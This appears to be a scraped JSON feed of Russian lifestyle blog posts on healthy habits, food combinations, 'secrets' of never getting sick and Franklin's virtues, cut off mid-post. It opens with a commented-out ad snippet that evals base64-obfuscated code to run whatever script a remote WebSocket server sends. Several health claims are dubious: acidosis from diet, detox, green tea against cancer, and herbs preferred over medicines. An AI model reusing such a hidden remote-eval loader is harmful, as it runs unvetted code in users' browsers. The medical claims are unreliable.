\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>— Высыпаться.\x3cbr />— Не делать из еды культ. Искать удовольствие не в холодильнике, а во всем окружающем мире.\x3cbr />— Любить и уважать свое тело.\x3cbr />— Пить много воды.\x3cbr />— Вставать из-за стола с чувством легкого голода.\x3cbr />— Избегать краткосрочных диет, превращающих жизнь в ад.\x3cbr />— Заниматься спортом.\x3cbr />— Не завидовать худосочным моделям.\x3cbr />— Покупать себе красивую одежду.\x3cbr />— Есть только качественную и вкусную еду.\x3cbr />— Не курить.\x3cbr />— Не злоупотреблять алкоголем.\x3cbr />— Не ужинать перед сном.\x3cbr />— Есть небольшими порциями 4-6 раз в день.\x3cbr />— Завтракать полезными углеводами (каша, цельнозерновые хлебцы, мюсли и т.д.)\x3cbr />— Пить перед сном кефир.\x3cbr />— Не отказывать себе категорично ни в каких продуктах: запретный плод сладок.\x3cbr />— Тщательно пережевывать пищу.\x3cbr />— «Смаковать» каждый кусочек, оказавшийся во рту.\x3cbr />— Не увлекаться обезжиренными продуктами, а также заменителями сахара (еда должна питать организм).\x3cbr />— Не есть за компьютером и перед телевизором.\x3cbr />— Спокойно воспринимать ситуативные переедания. Это не катастрофа, просто съешьте меньше на следующий день.\x3cbr />— Не лечить шоколадками стрессы и волнения.\x3cbr />— Есть медленно.\x3cbr />— Отказаться от пищевого мусора (фастфуда и т.д).\x3cbr />— Пить чай и кофе без сахара.\x3cbr />— Много ходить пешком.\x3cbr />— Регулярно заниматься сексом.\x3cbr />— Не запивать основной прием пищи, чтобы не разбавлять желудочный сок, необходимый для пищеварения.\x3cbr />— Не стремиться оставлять тарелку чистой, как в детстве. Не доели — вот и отлично.\x3cbr />— Есть из посуды холодных цветов (синий, темно-зеленый, сиреневый).\x3cbr />— Ограничить употребление соли.\x3cbr />— Принимать контрастный душ.\x3cbr />— Заниматься интересным делом. Безделье — лучший провокатор обжорства.\x3cbr />— Не «кусочничать» во время приготовления еды.\x3cbr />— Взвешиваться только натощак.\x3cbr />— Ходить в продуктовый магазин сытой.\x3cbr />— Чаще смеяться.\x3cbr />— Налегать на белковые продукты, овощи, фрукты, зелень.\x3cbr />— Использовать натуральные специи.\x3cbr />— Поддерживать состояние влюбленности и счастья.\x3cbr />— Не окружать себя людьми, помешанными на диетах.\x3cbr />— Устраивать разгрузочные дни, если чувствуете, что пора очистить организм.\x3cbr />— Забыть отрицательные установки вроде «Я толстая», «Я лентяйка» и т. п.\x3cbr />— Следить за состоянием здоровья.\x3cbr />— Читать хорошие книги. Фитнес для мозга — не менее важен, чем для тела.\x3cbr />— Полюбить супы.\x3cbr />— Не пренебрегать массажем.\x3cbr />— Избегать мешковатой одежды, скрывающей фигуру.\x3cbr />— Полноценно отдыхать от работы.\x3c/p>\n\x3cp>\x3ca href=\"https://vk.com/wall-55122354_526965\" target=\"_blank\">Источник\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43994146826","tags":["спорт","правильные привычки","Книги","жизнь","долголетие","Здоровье","привычки"],"date":1537195731,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20440562918,"photo_original":"https://mtdata.ru/u28/photo4EF8/20440562918-0/original.jpg","width":650,"height":406}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/privyichki-kotoryie-prodlyat-vam-v-zhizni/","topic":"Beauty","title":"Привычки, которые продлят вам в жизни","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-09-17T14:48:51.000Z","ver1":"17 сентября, 17:48","ver2":"17.09.2018 в 17:48","ver3":"17 сент., 17:48"},"images":[{"main":true,"url":"https://mtdata.ru/u28/photo4EF8/20440562918-0/original.jpg","width":650,"height":406}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43201610171,"from_id":886934317,"from":{"id":886934317,"display_name":"Наталья","url":"https://mirtesen.ru/people/886934317","photo_original":"https://mtdata.ru/u25/photo4E8C/20731289649-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30463264252,"text":"\x3cp> \x3c/p>\n\x3cdiv>\x3cimg title=\"Полезные сочетания продуктов\" src=\"//mtdata.ru/u2/photoED9D/20506150024-0/original.jpg#20506150024\" alt=\"thumb\" width=\"840\" height=\"440\" />\x3c/div>\n\x3cp> \x3c/p>\n\x3cp> \x3c/p>\n\x3cp>Залог нашего здоровья — это правильные привычки. Многие из нас ходят в спортзал, стараются высыпаться и питаться здоровой пищей. Но лишь малая часть людей знает о том, что некоторые продукты совершенно не сочетаются между собой, а другие, наоборот, усиливают действие друг друга. \x3c/p>\n\x3cp> \x3c/p>\n\x3cp>Немного подкорректировав свое питание, при этом воспользовавшись правильным комбинированием продуктов, вы сможете увеличить их полезное действие. Мы подготовили 9 сочетаний, которые вы обязательно должны взять на заметку.\x3c/p>\n\x3cp> \x3c/p>\n\x3ch2>Сочетания продуктов\x3c/h2>\n\x3cp> \x3c/p>\n\x3col>\n\x3cli>\x3cstrong>Яйца и помидоры = молодость\x3c/strong>\x3cbr />Яичница в помидоре— это лучшее блюдо, которое вы можете приготовить на завтрак. Помидоры богаты селеном, а яйца витамином Е. Сочетая эти продукты, вы помогаете витаминам лучше усваиваться. Комбинация витаминов в этих продуктах помогает замедлить процессы старения.\n\x3cp>\x3cimg src=\"//mtdata.ru/u3/photoD0E8/20729222873-0/original.jpg#20729222873\" alt=\"яйцо и помидор\" />\x3c/p>\n\x3c/li>\n\x3cli>\x3cstrong>Помидоры и растительное масло = красивая кожа\x3c/strong>\x3cbr />Помидоры и масло просто созданы для того, чтобы есть их вместе. Во-первых, это вкусно, а во-вторых, антиоксидант ликопин, который содержится в помидорах, в сочетании с растительными жирами улучшает состояние кожи.\n\x3cp>\x3cimg src=\"//mtdata.ru/u3/photo4924/20952295722-0/original.jpg#20952295722\" alt=\"нарезанные помидоры\" />\x3c/p>\n\x3c/li>\n\x3cli>\x3cstrong>Курица и морковь = иммунитет\x3c/strong>\x3cbr />Витамин А в большом количестве присутствует в моркови. А курица богата цинком. Сочетая эти продукты, вы помогаете организму укрепить иммунитет. При простуде лучшего средства, чем куриный бульон с морковью, просто не найти.\n\x3cp>\x3cimg src=\"//mtdata.ru/u2/photoC9A2/20175368571-0/original.jpg#20175368571\" alt=\"куриный бульон фото\" />\x3c/p>\n\x3c/li>\n\x3cli>\x3cstrong>Тушеная говядина и красное вино = здоровье сосудов\x3c/strong>\x3cbr />Всего один бокал красного вина после ужина с мясным блюдом — и вы предотвратите образование холестериновых отложений. Только смотрите, не увлекайтесь алкогольными напитками!\n\x3cp>\x3cimg src=\"//mtdata.ru/u2/photo653A/20398441420-0/original.jpg#20398441420\" alt=\"говядина и вино фото\" />\x3c/p>\n\x3c/li>\n\x3cli>\x3cstrong>Йогурт и семена льна = прекрасное пищеварение\x3c/strong>\x3cbr />Йогурты богаты пробиотиками, то есть полезными бактериями. Чтобы они могли полностью воздействовать на организм, им на помощь должны прийти пребиотки — растительные волокна. Последние в большом количестве содержатся в семенах льна. Добавляйте их в йогурт, и ваша пищеварительная система поблагодарит вас за это.\n\x3cp>\x3cimg src=\"//mtdata.ru/u1/photo916A/20844587118-0/original.jpg#20844587118\" alt=\"йогурт и семена льна фото\" />\x3c/p>\n\x3c/li>\n\x3cli>\x3cstrong>Овсянка и яблоки = здоровое сердце\x3c/strong>\x3cbr />Похудеть без ущерба для организма, получая при этом необходимые полезные вещества, — это возможно. Ешьте с утра овсяную кашу с яблоками. Клетчатка в овсянке способствует работе пищеварительной системы, а также улучшает состояние сосудистой системы, что ведет к здоровью сердца. А флавоноиды в свежем яблоке защищают организм от свободных радикалов.\n\x3cp>\x3cimg src=\"//mtdata.ru/u1/photoF833/20882865323-0/original.jpg#20882865323\" alt=\"овсянка с яблоками фото\" />\x3c/p>\n\x3c/li>\n\x3cli>\x3cstrong>Зеленый чай и лимон = защита от рака\x3c/strong>\x3cbr />Катехины, которые присутствуют в зеленом чае, замедляют рост раковых клеток. Лимонный сок помогает этим органическим веществам усваиваться.\n\x3cp>\x3cimg src=\"//mtdata.ru/u1/photo5701/20105938172-0/original.jpg#20105938172\" alt=\"зеленый чай и лимон фото\" />\x3c/p>\n\x3c/li>\n\x3cli>\x3cstrong>Хлеб и сыр = крепкие кости\x3c/strong>\x3cbr />Для того чтобы кальций хорошо усваивался, в рационе должно быть еще и достаточное количество жирных кислот и белков. Поэтому употребляйте хлеб с сыром — обеспечите себе крепкий скелет.\n\x3cp>\x3cimg src=\"//mtdata.ru/u1/photo9E27/20329011021-0/original.jpg#20329011021\" alt=\"хлеб и сыр фото\" />\x3c/p>\n\x3c/li>\n\x3cli>\x3cstrong>Яйца и шпинат = жизнь без ПМС\x3c/strong>\x3cbr />Женщины, употребляющие необходимое количество кальция и витамина D, намного реже страдают от проявлений ПМС. Поэтому запаситесь главными источниками этих витаминов и минералов — яйцами и шпинатом. И будьте здоровы!\n\x3cp>\x3cimg src=\"//mtdata.ru/u1/photoFD8D/20552083870-0/original.jpg#20552083870\" alt=\"белковый омлет фото\" />\x3c/p>\n\x3c/li>\n\x3c/ol>\n\x3cp> \x3c/p>\n\x3cp>Возьмите на вооружение эти советы по сочетанию продуктов и составьте меню на неделю. А также не забудьте поделиться ими с друзьями. Такая информация точно пригодится!\x3c/p>\n\x3cp> \x3c/p>\n\x3cp>\x3ca href=\"https://sovkusom.ru/poleznye-sochetaniya-produktov/\" target=\"_blank\">\x3cspan style=\"color: #888888; font-size: xx-small;\">источник\x3c/span>\x3c/a>\x3c/p>","comments_count":3,"marks_count":19,"likes":{"count":19,"user_likes":0,"can_like":0,"marks_pluses":19,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":19}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30463264252.mirtesen.ru/blog/43201610171","tags":["правильные привычки","здоровье","питание","продукты"],"date":1477339864,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20506150024,"photo_original":"https://mtdata.ru/u2/photoED9D/20506150024-0/original.jpg","width":840,"height":440}}],"group":{"display_name":"Мир женщины","url":"https://s30463264252.mirtesen.ru","photo_original":"//mtdata.ru/u25/groupF1BE/c53028139bfff32741c6bdc5f9ffeb44-0/__logo.jpeg","id":30463264252,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1392916802196},"canonical_url":"https://s30463264252.mirtesen.ru/blog/43201610171","topic":null,"title":"Полезные сочетания продуктов","preview_text":"Залог нашего здоровья — это правильные привычки. Многие из нас ходят в спортзал, стараются высыпаться и питаться здоровой пищей. Но лишь малая часть людей знает о том, что некоторые продукты совершенно не сочетаются между собой, а другие, наоборот, усиливают действие друг друга. \n  \nНемного","post_type":"post","formattedDates":{"iso":"2016-10-24T20:11:04.000Z","ver1":"24 октября, 23:11","ver2":"24.10.2016 в 23:11","ver3":"24 окт., 23:11"},"images":[{"main":true,"url":"https://mtdata.ru/u2/photoED9D/20506150024-0/original.jpg","width":840,"height":440}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43139915650,"from_id":206503264,"from":{"id":206503264,"display_name":"Татьяна Чернышева","url":"https://mirtesen.ru/people/206503264","photo_original":"https://mtdata.ru/u4/photo128A/20652999534-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30463264252,"text":"\x3cp>\x3cspan>\x3cimg src=\"http://mtdata.ru/u24/photoC748/20665977822-0/original.jpg#20665977822\" alt=\"\" width=\"640\" height=\"426\" />\x3c/span>\x3c/p>\n\x3cp>\x3cspan>Почему одни люди практически не болеют, а другие постоянно обивают пороги больниц и поликлиник? Почему одни спокойно переживают осень и весну, не боясь подхватить грипп, а другие «пичкают» себя вакцинами и все равно проводят недели в кровати с температурой и слабостью? Возможно, здоровые люди знают какой-то секрет? Задумавшись над этим, ученые раскрыли 10 секретов людей, которые никогда не болеют. Приоткроем завесу тайны.\x3c/span>\x3c/p>\n\x3cp> \x3c/p>\n\x3ch2>1. Они менее подвержены стрессу\x3c/h2>\n\x3cp>Исследователи Университета Дьюка (США) доказали, что под действием стресса разрушается сердце и иммунная система. Также удалось выяснить, что лица подверженные стрессу имеют высокие шансы заражения бактериальными инфекциями. Более того, ученые утверждают, что крайне важно беречь нервную систему старшеклассников, ведь \x3ca href=\"http://www.ja-zdorov.ru/blog/kak-pravilno-reagirovat-na-stress/\" target=\"_blank\">стрессовые ситуации\x3c/a> могут грозить им серьезными проблемами со здоровьем в будущем. Бороться с этой проблемой можно при помощи специальной техники релаксации, а также посредством физических упражнений, позволяющих быстро расслабиться.\x3c/p>\n\x3ch2>2. Они съедают по ложке пивных дрожжей в день\x3c/h2>\n\x3cp>Такая незамысловатая добавка к пище удовлетворяет потребность человеческого организма в витаминах группы B (рибофлавин, биотин, ниацин, тиамин и фолиевая кислота). Без этих веществ организм не может полноценно усваивать жиры, белки и углеводы. К тому же витамины B имеют ключевое значение в поддержании здоровья волос и кожи, а также в выработке гормонов, поддерживающих иммунную систему. Эти вещества способствуют производству антител и белых кровяных телец, благодаря чему повышается иммунный статус. Употреблять пивные дрожжи можно с супами и соусами, хлебом и попкорном.\x3c/p>\n\x3ch2>3. Они меньше едят\x3c/h2>\n\x3cp>Еще в 1930 годах прошлого века ученые доказали, что животные, которых на протяжении жизни кормили в два раза меньше, прожили в два раза дольше. В последующие годы ученые выявили, что снижение калорийности пищи избавляет от многих проблем со здоровьем – от сердечно-сосудистых заболеваний, \x3ca href=\"http://www.ja-zdorov.ru/blog/lechenie-bolezni-alcgejmera-medikamentoznoe-i-narodnoe/\" target=\"_blank\">болезни Альцгеймера\x3c/a> и сахарного диабета. У людей, которые едят на 25% меньше обычного, организм очищается от «плохого» холестерина и нормализуется давление. Важно лишь помнить, что резкое снижение калорийности небезопасно для организма, а потому на ранних этапах достаточно ограничить употребление сахара и мучных изделий.\x3c/p>\n\x3ch2>4. Они не стремятся к абсолютной стерильности\x3c/h2>\n\x3cp>Для гармоничного существования человека важен баланс во всем. Соотношение полезных и условно патогенных микробов тут играет не последнюю роль. Доказано, что люди, которые стремятся к абсолютной стерильности, болеют в два раза чаще. А по-настоящему здоровый организм балансирует где-то между гиперчистотой развитого мира и убогостью окружающей среды наших предков. Полезные бактерии помогают снижать воспалительные процессы, улучшают обмен веществ и повышают иммунитет. В то же время наличие условно-патогенных бактерий помогает организму легче переносить воспаления. Это значит, что нужно полноценно контактировать с природой, не пытаясь перед употреблением идеально вычищать продукты питания. Достаточно просто помыть их.\x3c/p>\n\x3cdiv> \x3c/div>\n\x3ch2>5. Они выбирают растительные лекарственные средства\x3c/h2>\n\x3cp>Сегодня немало говорится о вреде лекарственных препаратов, львиную долю которых составляют искусственные химические компоненты. Безусловно, они оказывают лечебное действие, но вместе с тем наносят удар организму, провоцируя развитие других заболеваний, в первую очередь, болезней желудка. Именно поэтому люди, которые никогда не болеют, являются поклонниками растительных лекарственных средств, которые поддерживают иммунную систему, уничтожают микробов, нормализуют кровяное давление, в общем, воздействуют на все органы и системы организма. Взять, к примеру, обычный \x3ca href=\"http://www.ja-zdorov.ru/blog/chem-polezen-zelenyj-chaj/\" target=\"_blank\">зеленый чай\x3c/a>. Регулярное употребление такого чая сжигает жир и нормализует обмен веществ, снижает уровень холестерина и контролирует \x3ca href=\"http://www.ja-zdorov.ru/blog/norma-saxara-v-krovi-nuzhen-kontrol/\" target=\"_blank\">уровень сахара в крови\x3c/a>.\x3c/p>\n\x3ch2>6. Они имеют много друзей\x3c/h2>\n\x3cp>Исследования показывают что люди, которые легко идут на контакт и имеют много друзей, гораздо реже страдают от инфекционных заболеваний и отличаются крепким иммунитетом. Более того, исследование, проведенное в 2008 году шведскими учеными, показало, что у лиц с более высокой социальной поддержкой снижен риск сердечно-сосудистых заболеваний. Напротив, одинокие люди, которые плохо идут на контакт с окружающими, чаще обращаются к врачам с жалобами на стресс, депрессивное состояние, нервозность и сердечные заболевания.\x3c/p>\n\x3ch2>7. Они поддерживают свой уровень кислотности (pH) в норме\x3c/h2>\n\x3cp>По мнению некоторых специалистов альтернативной медицины, у здорового человека системы организма функционируют между полностью щелочной и полностью кислой средой, то есть их кислотность сбалансирована. Если уровень pH снижается, возникает состояние под названием ацидоз, при котором увеличивается кислотность. У человека при этом учащается дыхание, появляется усталость, начинаются проблемы с желудком. По словам некоторых экспертов, мода на американскую еду, в которой много мяса и сахара и привела к эпидемии ацидоза в мире. Избежать этого можно регулярным употреблением щелочных продуктов питания – темной зелени, спаржи, зеленой фасоли, моркови, огурцов и авокадо.\x3c/p>\n\x3ch2>8. Они едят чеснок\x3c/h2>\n\x3cp>Известно, что \x3ca href=\"http://www.ja-zdorov.ru/blog/top-15-lechebnyx-i-poleznyx-svojstv-chesnoka/\" target=\"_blank\">чеснок\x3c/a> действует как мощный антиоксидант и антибиотик. Он оберегает организм от простудных заболеваний и помогает быстрее восстановиться после продолжительной болезни. Кроме того, чеснок доказал свою эффективность в поддержании уровня холестерина в крови и нормализации артериального давления. При этом чеснок в виде пищевой добавки не столь эффективен как натуральный продукт, который достаточно употреблять по зубчику в день.\x3c/p>\n\x3ch2>9. Они регулярно очищают организм\x3c/h2>\n\x3cp>Многие известные сегодня химикаты несколько веков назад просто не существовали. Диоксины, фталаты и полихлорированные бифенилы (пхб) – все они оказывают токсичное воздействие на организм. Возможно, именно с появлением этих соединений и связано увеличение количества раковых заболеваний и патологий печени. Велика вероятность того, что снизив уровень токсинов, присутствующих в организме, уйдут проблемы с пищеварением, усталость, угревая сыпь и боль в мышцах. Детокс-программа основывается на ограничении употребления мяса, сахара, пшеницы, молочных продуктов, алкоголя и кофеина. Пользу принесет посещение бани или сауны. Беременным женщинам и кормящим грудью матерям детокс-программы необходимо согласовывать с врачом.\x3c/p>\n\x3ch2>10. Они регулярно высыпаются\x3c/h2>\n\x3cp>Давно доказано, что недосыпание неблагоприятно влияет на состояние здоровья. В усталом организме лишенном полноценного отдыха, число и эффективность иммуноцитов резко уменьшается. Более того, в ответ на постоянное недосыпание и усталость, в крови повышается уровень гормона кортизола, который угрожает организму развитием стресса и даже депрессивным состоянием. Чтобы избежать этого, важно пересмотреть свой распорядок дня, раньше укладываться спать, отказаться от кофе и крепкого чая по вечерам. Здоровья вам и долголетия.\x3c/p>\n\x3cp>\x3ca href=\"http://www.ja-zdorov.ru/blog/10-sekretov-lyudej-kotorye-nikogda-ne-boleyut/?utm_source=Ja-Zdorov.ru&utm_medium=email&utm_campaign=638dc3340c-email&utm_term=0_722f3cdb4d-638dc3340c-168315041\" target=\"_blank\">источник\x3c/a>\x3c/p>","comments_count":4,"marks_count":34,"likes":{"count":32,"user_likes":0,"can_like":0,"marks_pluses":33,"marks_minuses":1,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":33},{"id":-100,"count":1}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30463264252.mirtesen.ru/blog/43139915650","tags":["правильные привычки","здоровье"],"date":1426055087,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20665977822,"photo_original":"https://mtdata.ru/u24/photoC748/20665977822-0/original.jpg","width":640,"height":426}}],"group":{"display_name":"Мир женщины","url":"https://s30463264252.mirtesen.ru","photo_original":"//mtdata.ru/u25/groupF1BE/c53028139bfff32741c6bdc5f9ffeb44-0/__logo.jpeg","id":30463264252,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1392916802196},"canonical_url":"https://s30463264252.mirtesen.ru/blog/43139915650","topic":"health","title":"10 секретов людей, которые никогда не болеют","preview_text":"Почему одни люди практически не болеют, а другие постоянно обивают пороги больниц и поликлиник? Почему одни спокойно переживают осень и весну, не боясь подхватить грипп, а другие «пичкают» себя вакцинами и все равно проводят недели в кровати с температурой и слабостью? Возможно, здоровые люди знают","post_type":"post","formattedDates":{"iso":"2015-03-11T06:24:47.000Z","ver1":"11 марта, 9:24","ver2":"11.03.2015 в 9:24","ver3":"11 мар., 9:24"},"images":[{"main":true,"url":"https://mtdata.ru/u24/photoC748/20665977822-0/original.jpg","width":640,"height":426}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43482935285,"from_id":530978026,"from":{"id":530978026,"display_name":"Лилия К","url":"https://mirtesen.ru/people/530978026","photo_original":"https://mtdata.ru/u30/photoADF2/20810247910-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30669388060,"text":"\x3cdiv>\n\x3cp>\x3cem>Как эффективно распределять своё время? Как достичь морального совершенства? Ответы на эти вопросы знал Бенджамин Франклин, пятью важными уроками которого мы поделимся сегодня с вами.\x3c/em>\x3c/p>\n\x3c/div>\n\x3cp>\x3cimg src=\"http://mtdata.ru/u3/photoAA9C/20617455214-0/original.jpg#20617455214\" alt=\"правила жизни Франклина\" width=\"630\" height=\"420\" />\x3c/p>\n\x3cblockquote>\n\x3cp>Многие люди умирают в 25 лет, а в могилу попадают только в 75.\x3cbr />\x3cem>Бенджамин Франклин\x3c/em>\x3c/p>\n\x3c/blockquote>\n\x3cp>\x3cstrong>Практически все мы что-то слышали об известном политическом деятеле, учёном и изобретателе Бенджамине Франклине. Для того, чтобы лучше проиллюстрировать его неоценимый \x3cspan>вклад\x3c/span> в историю, обратимся к его достижениям. Бенджамин Франклин:\x3c/strong>\x3c/p>\n\x3cul>\n\x3cli>Изобрёл молниеотвод;\x3c/li>\n\x3cli>Изобрёл бифокальные очки;\x3c/li>\n\x3cli>Изобрёл печь Франклина;\x3c/li>\n\x3cli>Сделал множество выдающихся открытий в области электричества;\x3c/li>\n\x3cli>Создал первую детальную карту Гольфстрима;\x3c/li>\n\x3cli>Основал первую в \x3cspan>США\x3c/span> публичную библиотеку;\x3c/li>\n\x3cli>Основал Филадельфийскую академию;\x3c/li>\n\x3cli>Участвовал в создании Декларации независимости и Конституции США;\x3c/li>\n\x3cli>И при этом активно занимался издательской деятельностью. \x3c/li>\n\x3c/ul>\n\x3cp>Впечатляющий список достижений, не так ли?\x3c/p>\n\x3cp>Сейчас вы, вероятно, спрашиваете себя, как один человек смог достичь столь многого? Всё дело в правильном отношении. Бенджамин Франклин знал, как важна самоорганизация и дисциплина, и благодаря этому во многом преуспел.\x3c/p>\n\x3cp>Он своим примером доказал, что человек способен самостоятельно выработать привычки, которые помогут ему достичь значительных успехов. Когда читаешь о его жизни, то на ум приходит цитата легендарного мыслителя: \x3c/p>\n\x3cblockquote>\n\x3cp>Мы — это то, что мы постоянно делаем. Совершенство, следовательно, не действие, а привычка.\x3c/p>\n\x3cp>\x3cem>Аристотель\x3c/em>\x3c/p>\n\x3c/blockquote>\n\x3cp>Вот несколько самых ценных уроков, которые мы можем вынести из жизни Бенджамина Франклина. Они пригодятся каждому из нас.\x3c/p>\n\x3ch2>1. Время — самый дефицитный ресурс\x3c/h2>\n\x3cp>Потерянного времени не воротишь.\x3c/p>\n\x3cp>Бенджамин Франклин прекрасно понимал, насколько важно время. У всех нас разные навыки, таланты и возможности. Но также у всех  нас одинаковое количество времени — 24 часа в сутках. Важно не то, сколько времени у нас есть, а то, насколько эффективно мы его распределяем. Время — наш самый дефицитный ресурс, и мы должны научиться рационально его использовать. \x3c/p>\n\x3cblockquote>\n\x3cp>Любишь жизнь? Тогда не теряй времени; ибо время — ткань, из которой состоит жизнь.\x3c/p>\n\x3cp>\x3cem>Бенджамин Франклин\x3c/em>\x3c/p>\n\x3c/blockquote>\n\x3cp>Когда люди осознают, что времени у них мало, они начинают его ценить и тратить рационально — на достижение самых важных целей.\x3c/p>\n\x3cp>Осознать, что времени действительно мало — это хорошее начало. Придумать способ, благодаря которому можно будет эффективно использовать своё время — это уже другой вопрос. Франклин хорошо понимал это. Поэтому он и разработал систему, которая помогла ему использовать своё время с наибольшей эффективностью.\x3c/p>\n\x3ch2>2. Тринадцать добродетелей\x3c/h2>\n\x3cp>Бенджамин Франклин всегда думал о том, каким человеком он хочет стать. В конце концов, он смог сформулировать чёткую цель: он хотел стать «моральным совершенством». Эта мысль пришла к Бенджамину возрасте 20 лет. Для того, чтобы достичь своей цели, он создал список из 13 добродетелей.\x3c/p>\n\x3col>\n\x3cli>\x3cstrong>Воздержанность\x3c/strong>. Ешь не до пресыщения, пей не до опьянения.\x3c/li>\n\x3cli>\x3cstrong>Молчаливость\x3c/strong>. Говори только то, что может принести пользу тебе или другому; избегай пустых разговоров.\x3c/li>\n\x3cli>\x3cstrong>Любовь к порядку\x3c/strong>. Пусть для каждой твоей вещи будет своё место; пусть для каждого твоего дела будет своё время.\x3c/li>\n\x3cli>\x3cstrong>Решительность\x3c/strong>. Решай делать то, что должно; а то, что решил, выполняй неуклонно.\x3c/li>\n\x3cli>\x3cstrong>Бережливость\x3c/strong>. Позволяй себе только те расходы, что принесут пользу другим или тебе самому; ничего не растрачивай попусту.\x3c/li>\n\x3cli>\x3cstrong>Трудолюбие\x3c/strong>. Не теряй времени; всегда будь занят чем-нибудь полезным; отменяй все необязательные дела.\x3c/li>\n\x3cli>\x3cstrong>Искренность\x3c/strong>. Не прибегай к пагубному обману: пусть мысли твои будут невинны и справедливы; а если говоришь, то пусть такими же будут и слова.\x3c/li>\n\x3cli>\x3cstrong>Справедливость\x3c/strong>. Никогда не обижай людей, причиняя им зло или не делая добра, как велит долг.\x3c/li>\n\x3cli>\x3cstrong>Умеренность\x3c/strong>. Избегай крайностей; не держи обиды за причинённое тебе зло, даже если думаешь, что оно того заслуживает.\x3c/li>\n\x3cli>\x3cstrong>Чистоплотность\x3c/strong>. Не допускай ни малейшей грязи ни на себе, ни в одежде, ни в доме.\x3c/li>\n\x3cli>\x3cstrong>Спокойствие\x3c/strong>. Не волнуйся из-за пустяков, из-за происшествий мелких либо 